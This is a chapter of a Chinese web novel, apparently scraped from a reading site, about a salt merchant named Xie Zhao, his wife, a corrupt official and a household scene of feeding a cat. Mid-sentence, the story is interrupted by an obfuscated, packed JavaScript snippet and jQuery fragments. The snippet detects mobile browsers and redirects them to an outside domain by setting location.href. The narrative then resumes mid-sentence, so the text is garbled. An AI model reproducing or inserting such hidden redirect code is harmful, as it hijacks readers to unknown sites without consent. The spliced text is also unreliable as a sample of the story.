19. 投喂

作品:《昭白雪

    虎啸帮?


    谢昭眯起眼,记忆浮沉。


    太州及江都均隶属阳州府,境内一条历史悠久的运盐河,将无数客商带往大大小小的盐场,又带回源源不断的财富。


    南直隶临海,丰纯场隔海可望海陵岛,银沙场隔海可望缘花岛。除了官吏、商人同灶户,古老咸涩的海文化还孕育出一大特殊群体——盐帮。


    他们以逃犯或悍匪为首,仗着武装力量大兴私盐,间或做些烧杀抢掠的买卖,盘踞要地自成帮派,虎啸帮便是这一带令人闻风丧胆的盐帮。


    帮主曹劲早年跑船为生,积累原始财富后开始武装贩运私盐,带领兄弟们长期占据海陵岛。因为很懂得“人情世故”,官府也就睁一只眼闭一只眼,并不下场干涉,也有许多冒险求财的小盐商,选择与虎啸帮合作,共同运私谋利。


    看元旌的意思,是已经查到了些线索,这批货的失踪与虎啸帮有关。


    可那曹劲与他向来无冤无仇,如今他正得许灵阶器重,曹劲又有几个胆子敢劫他的船队?


    等元旌回来,一定要好好问清楚。


    李清白也知道谢昭得了密信,恐怕又在图谋些什么,只是光线极差,谢昭手速又极快,还没等她找到窥视的机会,那小纸便化作雪片满天飞扬了。


    谢昭拍拍袖子拂去尴尬:“你们跑了这几天,一定没来得及好好吃饭吧?意园的厨子比泰昌楼的也差不了多少,回去请你们吃好的。”


    李清白眼如灿星:“那我要吃——”


    “鱼饼虾球?”


    “还有……”


    “菱角糖醋排骨?”


    “还有……”


    “蟹黄粉皮?”


    “……”


    “还有糟香白鱼卷、八宝葫芦鸭、麻油醉蛰头、蜜汁捶藕、蛤蜊炖蛋、栗子烧仔鸡、胭脂鹅脯、荷叶粉蒸肉、荸荠桂花甜糕,对吧?”


    李清白瞪圆眼睛:“你怎么知道?”


    谢昭笑得温柔:“就你那馋劲儿,有什么不想吃?这些都是本地特色,我慢慢给你安排。”


    她哥们儿似的拍了拍他肩膀:“谢昭你实在是太懂我了,够意思!”


    他忍不住笑得更张扬了些。


    她在京中是什么模样呢?和那些锦衣卫称兄道弟、把酒言欢,碰到好吃的就两眼放光,还是偶尔也会流露出小女儿的情态,与人撒娇卖乖呢?


    他看向也在笑的夏荫,一时醋上心头。


    他是大学士夏弦的孙子,他陪她一同来了江都、太州,甘愿做她的奴仆供她驱使。他给她买了双良猪肉脯,和她吃了羊肉火锅,并肩在屋顶上查案。他看她的眼神那样宠溺……


    他对她别有用心。


    他要找机会扣他月钱,关他禁闭,把他发配回京,离他的夫人远一点。


    ……


    回府后,他张罗他们吃了宵夜,故意磨蹭到很晚,想听她亲口说留在他房中。


    不料她打着哈欠就想走:“我去看看知雨。这几天都没好好陪过他。”


    谢昭急急争辩:“这几天你也没好好陪过我呀!”


    “……”


    他自知失言,红了耳根垂下头。


    李清白嗔笑:“你何时轮到和自己的儿子争宠了。”


    谢昭攥紧她衣袖,低低道:“你别走。”


    李清白盯着他红一阵白一阵的脸,不明白这个雷厉风行的大盐枭,为何在监狱里关了几天,就变成了这么个唯唯诺诺的小孩。


    尽管如此,她还是答应了:“好,我好好陪陪你。”


    谢昭一副讨到糖吃的表情:“嗯嗯。”


    ……


    这一夜,谢昭睡得无比安稳。


    他一向睡眠不佳,稍有棘手费神之事总会思虑颇多,以致整夜无眠。可自从与她亲近了关系,他只觉心头那口枯了多年的古井开始涌水,和她有关的点点滴滴汇成涓涓细流,一刻不停地滋养着他。


    只可惜一大早许灵阶便差人来叫他,要他一同去乐韵阁听戏。昨夜她梦中呢喃的美食,他一道也不敢遗漏,命人快些做好了送去给她,好叫她心情舒畅。


    许灵阶这趟来太州,除了交际便是游玩,似乎并无要事,令他好生奇怪。可这狗官向来心思深沉,无人猜得透他下一步要做什么,他也只能随侍身旁,悉心观察取证。


    好在元旌及时赶回,向他报告了重要消息——他重金广纳线索,问出盐船出事当晚,有人曾目击盐帮的人在河道附近出没。


    帮派斗争向来是大鱼吃小鱼,这一带有实力与谢昭抗衡的唯有虎啸帮。因此,他让元旌早做准备,打算午后便扮作寻常商人,冒险登上海陵岛查探。


    吩咐完细节,他便命人包下乐韵阁的场子,备好许灵阶爱吃的细点——玫瑰酥、松子糖和刚出炉的蟹黄烧卖,都用温笼煨着,再去恭请这尊大佛。


    乐韵阁临水而建,是太州城里顶热闹的所在。谢昭引着许灵阶入座时,台上软糯的淮腔正唱着《珍珠塔》里的“跌雪”一折,许灵阶不多时便听得摇头晃脑,指尖在桌上轻叩着板眼,目光似在台上,又似落在别处。


    谢昭不敢听戏,凝神关注着许灵阶的一举一动。果不其然,一盏茶还未饮完,许灵阶便朝他发问上了:


    “阿昭,我听说,上月月末你从丰纯场支的那批盐,无缘无故不见了,有这事吗?”


    “是的,大人。”


    “什么人这样大胆,敢动你的生意?”


    “还在调查当中,大人不用担心。”


    许灵阶倏地停下了叩击。


    “哦?”他眼皮微掀,从鼻腔里慢悠悠哼出一声,“那么,你这月孝敬我的银子,怕是要折损不少咯?”


    谢昭额上沁出一层冷汗,将身子又躬低了几分:“必不会。小人处处倚仗大人,哪怕变卖产业,也不敢误了您的事。”


    许灵阶伸手去拈碟里的玫瑰酥,却不送入口,只捏在指间细细地看,突然啪地一声将它捏碎,酥皮洒落一地。


    他起身拍拍干净,踩碎满地狼藉,重新恢复笑容:“那我就放心了。”


    谢昭盯着那些被他鞋底碾碎的粉末,想起了很多人。


    盐运司同知赵文华,只因秉公核查盐引数目,一周内被弹劾七次,发配贵州充军,未及到达便死在了路上。


    太仆寺少卿李默,只因议马政时顶撞了首辅一句,转头便被锦衣卫从直房里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307535|181932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    请走,从此下落不明。


    户部右侍郎张简,只因谏言停修仙殿,便被扣上“阻挠国计”的罪名,诏狱里关了不到三日就传来死讯,据说尸体被抬出时,浑身找不到一块好肉。


    礼部郎中薛侃,只因呈送《太上老君常说清静经》注本时误将符纸倒置,便被当场呵斥“亵渎天尊”,廷杖八十,生生毙于丹墀之下。


    他们的面容和姓名,骄傲和命运,都如同许灵阶脚下的碎屑,无声无息消失在大旻王朝百余年的尘埃里。


    不要再有下一个他们。


    不能再有下一个他们。


    ……


    回府路上,谢昭一直紧绷着精神,随时应对许灵阶的问话。好在他心情还不错,只是闲聊了些花鸟鱼虫,谢昭便寻思再淘些新鲜宠物,换着法子讨他高兴。


    轿子在意园门前稳稳落下。谢昭先一步躬身打帘,伺候着许灵阶下了轿,自己才稍稍直起些发僵的脊背。


    穿过走道,四季海棠开得正艳,泼泼洒洒的红一路烧到朗逸厅檐角。绕过太湖石群,拨云堂前那片青石板空地上,眼前景象却令谢昭头皮发麻——


    只见李清白、谢知雨、夏荫、许之霄同许见卿围作一处,中间赫然卧着一只通体雪白的狮子猫,正慵懒地蜷在地上伸着腿儿,不时发出喵喵的叫声。


    更令他恼怒的是,知雨左手攥着一把剔了刺的黄鱼肉,右手拈着几丝风干的火腿红肉,正殷勤地喂着那猫儿,丝毫不懂得物价的金贵。


    他忍住喉头恶心,停在离他们一丈远的地方,厉声呵斥道:“知雨!你这是在做什么?”


    知雨委屈巴巴:“爹爹,喂猫呀。您也没不许我喂猫呀。”


    “这些给你娘亲特意准备的,上好的食材,拿去喂野猫???我看你是愈发出息了!”


    知雨踮踮脚,指着一旁傻笑的许之霄,告状道:“那他还用温乳酪拌的燕窝碎喂猫呢!爹爹怎不骂他?”


    又躲到李清白身后:“再说了,是娘亲要我喂的呀,爹爹又怎么不骂娘亲?”


    “……”


    谢昭立马熄了火。


    李清白圆场道:“你准备的朝食也太丰盛了,我把他们都拉来也没吃完,剩了也可惜了,刚巧看到这只惹人喜爱的猫儿,一时起兴便用美食逗弄了它,你不要生气。今后可以少做几道菜,或减少每道菜的分量,避免浪费,节约物资。”


    许灵阶调侃道:“阿昭,你这位夫人可是会当家的。”


    许见卿接茬:“那是自然。阿越姐姐可教了我不少东西。”


    许灵阶见李清白和许见卿熟络得很,提议道:“下午我有些事情在身,阿昭,你们夫妇不如陪着见卿和之霄在这太州城逛一逛。”


    谢昭始终惦记着登岛一事,一时被安排了新任务,不由得面露犹豫。


    他为难地开口:“大人,我……”


    “你怎么了?”


    其实他并没有想好推辞的理由,只是满心想着拒绝,不知怎地就脱口而出。


    思索间,李清白飞快接了话:


    “大人,我们下午也有事。”


    “哦?”


    “嘻嘻,我们要去南山寺求子。”